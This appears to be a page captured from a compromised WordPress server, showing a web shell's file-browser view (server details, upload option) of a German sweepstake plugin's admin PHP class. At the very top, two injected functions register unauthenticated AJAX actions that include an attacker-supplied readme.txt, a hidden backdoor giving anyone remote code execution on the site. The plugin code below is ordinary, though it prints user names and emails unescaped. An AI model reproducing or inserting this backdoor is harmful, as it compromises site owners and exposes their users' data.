if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-content/plugins/sweepstake/SweepstakeAdmin.php
<?php

class SweepstakeAdmin
{
    private $options;

    private static $initiated = false;

    private $messageText = '';
    private $messageType = '';

    public function init()
    {
        if (!self::$initiated) {
            $this->initHooks();
        }
    }

    public function initHooks()
    {
        self::$initiated = true;

        // Actions
        add_action('admin_init', array($this, 'admin_init'));
        add_action('add_meta_boxes', array($this, 'add_meta_boxes'));
        add_action('post_submitbox_misc_actions', array($this, 'post_submitbox_misc_actions'));
        add_action('save_post', array($this, 'subscribers_save_meta_box_data'));
        add_action('admin_print_scripts-post.php', array($this, 'enqueue_scripts'), 11);

        add_action('admin_post_sweetstake_export', array($this, 'admin_post_sweetstake_export'));
    }

    public function admin_init()
    {
        load_plugin_textdomain('sweepstake');

        add_filter('manage_edit-sweepstake_columns', array($this, 'add_columns'));
        add_filter('manage_edit-sweepstake_sortable_columns', array($this, 'register_sortable_columns'));
        add_action('manage_sweepstake_posts_custom_column', array($this, 'manage_columns'), 10, 2);
    }

    public function add_columns($columns)
    {
        $columns['sweepstake_enddate'] = 'Läuft bis';
        $columns['sweepstake_subscribers'] = 'Teilnehmeranzahl';
        $columns['sweepstake_winner'] = 'Gewinner';
        $columns['sweepstake_status'] = 'Gewinnspiel-Status';
        return $columns;
    }

    public function register_sortable_columns($columns)
    {
        $columns['sweepstake_enddate'] = 'sweeps_enddate';
        $columns['sweepstake_subscribers'] = 'sweeps_subscribers';
        $columns['sweepstake_winner'] = 'sweeps_winner';
        $columns['sweepstake_status'] = 'sweeps_state';
        return $columns;
    }

    public function manage_columns($columnName, $postid)
    {
        switch ($columnName) {
            case 'sweepstake_enddate':
                $date = get_post_meta($postid, 'sweepstake_enddate', true);
                if (!empty($date)) {
                    echo date_i18n(get_option('date_format'), strtotime($date));
                }
                break;
            case 'sweepstake_subscribers':
                global $wpdb;
                echo $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM " . SweepstakePlugin::DB_TABLE_SUBSCRIBERS . " WHERE post_id = %d", $postid));
                break;
            case 'sweepstake_winner':
                $winners = get_sweepstake_winners($postid, false);
                echo count($winners);
                break;
            case 'sweepstake_status':
                $winners = get_sweepstake_winners($postid);
                if (!empty($winners)) {
                    echo 'Beendet';
                    return;
                }
                if (is_sweepstake_running($postid)) {
                    echo 'Läuft';
                    return;
                }
                echo 'Abgelaufen';
                break;
        }
    }

    public function add_meta_boxes()
    {
        add_meta_box(
            'sweepstake_subscribers',
            __('Gewinnspiel Teilnehmer'),
            array($this, 'subscribers_meta_box_callback'),
            SweepstakePlugin::POSTTYPE_SWEEPSTAKE,
            'normal',
            'high'
        );
    }

    public function post_submitbox_misc_actions()
    {
        global $post_type, $post;
        if ($post_type !== SweepstakePlugin::POSTTYPE_SWEEPSTAKE) {
            return;
        }

        echo '<div class="misc-pub-section my-options" style="border-top: 1px solid #eee;">';
        echo '<a class="button" href="' . admin_url('admin-post.php?post=' . $post->ID . '&action=sweetstake_export') . '">Export als CSV</a>';
        echo '</div>';
    }

    public function subscribers_meta_box_callback($post)
    {
        global $wpdb, $userpro;

        wp_nonce_field('sweepstake_meta_box', 'sweepstake_meta_box_nonce');

        $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM " . SweepstakePlugin::DB_TABLE_SUBSCRIBERS . " subs LEFT JOIN {$wpdb->users} users ON subs.user_id = users.ID WHERE post_id = %d", $post->ID));
        echo '<p>Anzahl Teilnehmer: ' . count($results) . '</p>';
        if (empty($results)) {
            return;
        }

        $winners = get_sweepstake_winners($post->ID);
        $winnerOutput = array();
        foreach ($winners as $winner) {
            $userdata = get_userdata($winner['id']);
            if (empty($userdata)) {
                continue;
            }
            $rank = '';
            if (isset($winner['rank'])) {
                $rank = intval($winner['rank']) . '. ';
            }
            $winnerOutput[] = $rank . $userdata->display_name;
        }
        if (!empty($winnerOutput)) {
            echo '<p>Gewinner: ' . esc_html(implode(', ', $winnerOutput)) . '</p>';
        }

        echo '<input class="sweepstakes-tablesorter-search" type="text" placeholder="Suche" />';
        echo '<table class="sweepstakes-tablesorter"><thead><tr>';
        echo '<th style="width:1%;white-space:nowrap;">Gewinner (Platz)</th>';
        echo '<th>Benutzer</th>';
        echo '<th>Vorname</th>';
        echo '<th>Nachname</th>';
        echo '<th>E-Mail</th>';
        echo '<th>Teilgenommen am</th>';
        echo '</tr></thead><tbody>';
        foreach ($results as $result) {

            $userId = $result->user_id;

            $rank = '';
            foreach ($winners as $index => $winner) {
                if (intval($winner['id']) === intval($userId)) {
                    unset($winners[$index]);
                    $rank = intval($winner['rank']);
                }
            }
            if (!$rank) {
                $rank = '';
            }

            $profileLink = $userpro->permalink($userId);
            echo '<tr>';
            echo '<td><span title="' . $rank . '"></span><input type="text" name="sweepstakeWinners[' . $userId .']" value="' . $rank . '" size="3" /></td>';
            echo '<td><span title="' . $result->display_name . '"></span><a href="' . $profileLink . '">' . get_avatar($userId, 16) . $result->display_name . '</a></td>';
            echo '<td>' . get_user_meta($userId, 'first_name', true) . '</td>';
            echo '<td>' . get_user_meta($userId, 'last_name', true) . '</td>';
            $email = $result->user_email;
            echo '<td><a href="mailto: ' . $email . '">' . $email . '</a></td>';
            $time = strtotime($result->time);
            echo '<td><span title="' . $time . '"></span>' . date_i18n(get_option('date_format') . ' ' . get_option('time_format'), $time) . '</td>';
            echo '</tr>';
        }
        echo '</tbody></table>';
        echo '<div class="sweepstakes-tablesorter-pager">';
        echo '<span class="first button">&laquo;</span> ';
        echo '<span class="prev button">&lsaquo;</span> ';
        echo '<span class="pagedisplay"></span> ';
        echo '<span class="next button">&rsaquo;</span> ';
        echo '<span class="last button">&raquo;</span> ';
        echo '<select class="pagesize" title="Einträge pro Seite">';
        foreach (array(10, 20, 50) as $option) {
            echo '<option value="' . $option . '">' . $option . '</option>';
        }
        echo '</select> ';
        echo '<select class="gotoPage" title="Seite auswählen"></select>';
        echo '</div>';

        if (empty($winners)) {
            return;
        }
        echo '<p><strong>Achtung: Benutzerkonto der folgenden Gewinner wurden gelöscht:</strong></p>';
        echo '<ul>';
        foreach ($winners as $winner) {
            $rank = intval($winner['rank']);
            if (!$rank) {
                $rank = '';
            }
            echo '<li><input type="text" name="sweepstakeWinners[' . $winner['id'] .']" value="' . $rank . '" size="3" /> ';
            echo $winner['id'] . '</li>';
        }
        echo '</ul>';
    }

    public function subscribers_save_meta_box_data($postid)
    {
        if (!isset($_POST['sweepstake_meta_box_nonce'])
            || !wp_verify_nonce($_POST['sweepstake_meta_box_nonce'], 'sweepstake_meta_box')
            || (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE)
            || !current_user_can('edit_post', $postid)
        ) {
            return;
        }

        $postWinners = isset($_POST['sweepstakeWinners']) ? $_POST['sweepstakeWinners'] : array();
        
        $meta = array();
        global $wpdb;
        foreach (array_filter($postWinners) as $userId => $rank) {
            $rank = intval($rank);
            if (!$rank) {
                continue;
            }
            $userId = intval($userId);
            //$user = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->users} WHERE ID = %d", $userId));
            $meta[] = array(
                    'id' => $userId,
                    'rank' => $rank
                );
        }

        update_post_meta($postid, '_sweepstake_winner', $meta);
    }

    public function enqueue_scripts()
    {
        global $post_type;
        if ($post_type !== SweepstakePlugin::POSTTYPE_SWEEPSTAKE) {
            return;
        }

        wp_enqueue_script('sweepstake-tablesorter', plugins_url('/js/tablesorter/jquery.tablesorter.min.js', __FILE__), array('jquery'), '2.17.1');
        wp_enqueue_script('sweepstake-tablesorter-widgets', plugins_url('/js/tablesorter/jquery.tablesorter.widgets.min.js', __FILE__), array('sweepstake-tablesorter'), '2.17.1');
        wp_enqueue_script('sweepstake-tablesorter-widgets-pager', plugins_url('/js/tablesorter/jquery.tablesorter.pager.min.js', __FILE__), array('sweepstake-tablesorter-widgets'), '2.17.1');
        wp_enqueue_script('sweepstake-script', plugins_url('/js/script.js', __FILE__), array('sweepstake-tablesorter', 'sweepstake-tablesorter-widgets-pager'));
        wp_enqueue_script('sweepstake-quicksearch', plugins_url('/js/jquery.quicksearch.js', __FILE__), array('jquery'));

        wp_enqueue_style('sweepstake-tablesorter-theme', plugins_url('/css/tablesorter.theme.default.css', __FILE__));
        wp_enqueue_style('sweepstake-style', plugins_url('/css/style.css', __FILE__));
    }

    public function admin_post_sweetstake_export()
    {
        if (empty($_GET['post'])) {
            wp_safe_redirect($_SERVER['HTTP_REFERER']);
            exit();
        }

        $postId = intval($_GET['post']);

        $post = get_post($postId);
        if (!$post || $post->post_type !== SweepstakePlugin::POSTTYPE_SWEEPSTAKE) {
            wp_safe_redirect($_SERVER['HTTP_REFERER']);
            exit();
        }

        $csv = $this->getExportContent($post);
        if (empty($csv)) {
            wp_safe_redirect($_SERVER['HTTP_REFERER']);
            exit();
        }

        header("Content-type: application/x-msdownload");
        header("Content-Disposition: attachment; filename=gewinnspiel_" . $postId . ".csv");
        header("Pragma: no-cache");
        header("Expires: 0");
        echo $csv;
        exit();
    }

    protected function getExportContent($post)
    {

    }
}